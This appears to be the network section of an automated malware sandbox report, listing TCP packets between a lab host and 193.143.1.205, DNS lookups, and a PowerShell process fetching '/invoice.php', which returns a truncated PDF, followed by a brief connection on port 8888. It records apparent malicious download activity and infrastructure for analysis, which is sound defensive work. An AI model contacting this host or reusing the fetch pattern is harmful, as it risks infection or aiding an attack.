Jan 14, 2025 08:45:02.872320890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872327089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.872354031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872394085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.875030994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.909971952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910001040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910017967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910033941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910043001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.910049915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910064936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910068035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.910079956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910096884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.910113096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.910130024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.912636042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912687063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912729025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.912739038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912771940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912806034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912810087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.912837982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912869930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912874937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.912903070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.912940979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.912971020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913019896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913057089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913058996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913109064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913151026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913162947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913209915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913242102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913249016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913274050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913307905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913316011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913336039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913367987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913372993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913402081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913433075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913438082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913466930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913499117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913501978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.913532972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.913568974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.955539942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955588102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955625057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955642939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.955661058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955696106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955729008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955768108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955801010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955813885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.955813885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.955841064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.955852985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955888033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955919027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955929041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.955951929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.955991030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956017017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956049919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956083059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956089020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956116915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956152916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956166029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956204891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956235886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956243992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956268072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956300974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956306934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956315994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956331015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956346035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956350088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956361055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956376076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956379890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956389904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956404924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956424952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956439018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956444979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956454039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956468105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956481934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956491947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956496954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956511021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956512928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956525087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956532001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956542015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956561089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956567049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956576109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956589937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956598043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956682920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956779003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956792116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956805944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956821918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956825972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956835985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956851006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956859112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956866026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956881046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956886053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956896067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956912994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956922054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956928015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956943035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956957102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956969976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.956971884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956986904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.956990957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957003117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957014084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957063913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957094908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957108974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957123995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957148075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957248926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957266092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957282066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957288980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957295895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957310915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957317114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957348108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957380056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957395077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957410097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957423925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957429886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957439899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957453966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957461119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957468987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957488060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957541943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957557917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957587004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957695961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957711935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957726955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957731009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957741976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957757950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957762003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957772970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957793951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957830906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957847118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957861900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957865953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957878113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957895994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.957978964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.957993984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958009005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958017111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.958024025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958041906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.958458900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958473921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958489895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958493948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.958503962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958518982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958522081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.958534002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958550930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.958550930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958564043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.958585024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.961895943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.996696949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996737957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996774912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996809959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996844053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996870995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.996870995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.996877909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996898890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.996911049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996948004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.996958017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999418020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999449015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999483109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999484062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999516010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999520063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999548912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999579906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999587059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999613047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999645948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999655962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999737978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999782085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999792099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999841928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999875069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999877930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999923944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999953985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.999964952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.999986887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000030994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.000036001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000070095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000101089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000114918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.000134945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000165939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000178099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.000204086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000236034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000247002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.000271082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.000312090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.008207083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.041564941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041650057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041673899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041691065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041704893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041717052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.041719913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041738033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.041738033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.041898012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042090893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042107105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042130947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042145014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042149067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042159081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042172909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042177916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042188883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042191982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042203903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042220116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042227983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042234898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042251110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.042256117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042280912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.042893887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.190524101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.556114912 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.561177015 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:03.561266899 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.575664997 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:03.580550909 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:04.346461058 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:04.394030094 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:04.466697931 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:45:16.978868008 CET	61786	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:45:32.974246979 CET	51941	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:45:57.099426031 CET	55857	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:45:16.978868008 CET	192.168.2.4	1.1.1.1	0x7926	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:45:32.974246979 CET	192.168.2.4	1.1.1.1	0xb047	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:45:57.099426031 CET	192.168.2.4	1.1.1.1	0x79e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 14, 2025 08:45:16.986635923 CET	1.1.1.1	192.168.2.4	0x7926	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:45:32.982263088 CET	1.1.1.1	192.168.2.4	0xb047	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:45:57.106930971 CET	1.1.1.1	192.168.2.4	0x79e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	2140	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 08:45:01.480480909 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 14, 2025 08:45:02.266691923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:45:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
